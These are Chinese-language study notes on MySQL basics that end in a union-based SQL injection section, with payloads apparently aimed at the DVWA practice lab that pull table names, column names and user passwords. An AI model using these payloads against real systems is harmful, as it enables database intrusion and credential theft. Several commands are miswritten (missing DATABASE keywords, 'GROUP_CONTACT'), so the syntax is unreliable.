数据库
数据库
- 关系型:与表格相似mysql,Oracle,microsoft sql server , acess
- 非关系型:分布式,不保证遵循acid原则,MongoDb、Redis、HBase
约束类型
- 主键约束(primary key):保证该字段具有非空且唯一性,一张表中只能由一个主键,主键是表中字段唯一标识
- 非空约束(not null):保证字段不为空
- 唯一约束(unique):保证该字段具有唯一性,但是可以为null
- 外键约束(foreign key):一个表中存在的另一个表的主键或唯一键成为此表的外键
- 默认约束(default):保证该字段有默认值
Mysql
数据库
连接数据库
mysql -u [database_name] -p [password]
查询数据库
show database
创建数据库
create [database_name]
删除数据库
drop [database_name]
进入数据库
use [database_name]
表table
查表
show tables
查看表描述
desc [table_name]
增删查改
增:
insert into 表名(键1,键2……) values(值1,值2……)
多组字段
insert into 表名(key1,key2……) values(value1,value2)(value3,value4)
改:
update 表名 set 键名='值' where 条件(列值)
删:
物理删除:
delete from 表名 where 条件
逻辑删除
查:
select *(列名) from 表名
select 列 from 表 where 条件
select 列 from 表 by 某列 ASC(升序)/DESC(降序)
select GROUP_CONTACT(列) from 表 where
以行形式显示查询结果
select 列 from 表 order by 数字
显示的键数量,大于现有报错,小于则正常显示
select 列 from 表 limit 5
限制显示前5行
select 列 from 表 limit 5(偏移量),10(显示行数)
限制显示6-15行
select 数字(其他任意内容),数字(其他任意内容)……
会根据显示位输出输入内容,数据库回显的列数固定,要满足显示位才有回显
SQL注入
注入位置
注入位置:GET,POST,HEAD头
字符串有单引号括上,数字无单引号
单引号可用#注释掉
union
union 关键字,联合查询,把两个select语句合并为一条语句,显示为一个结果。
联合查询下,两个select要相同字段数量(union要求查询表的列数和字段类型一致)
union all
将全部数据直接合并在一起
union
对合并之后的数据去重
information_schema
查询字段信息
注入流程
- 查询数据库类型(报错,datebase())
- 查库名
- 查表名
- 查列名
- 获取信息
查数据库类型
select * from 表名 where id='1' union select 1,database()
查询数据库表内容
0' union select 1,table_name from information_schema.tables where table_schema='dvwa
查列名
0' union select 1,group_concat(column_name) from information_schema.columns where table_name='users
查信息
0' union select user,password from users#
返回所有数据
select * from 表明 where id=1 or 1=1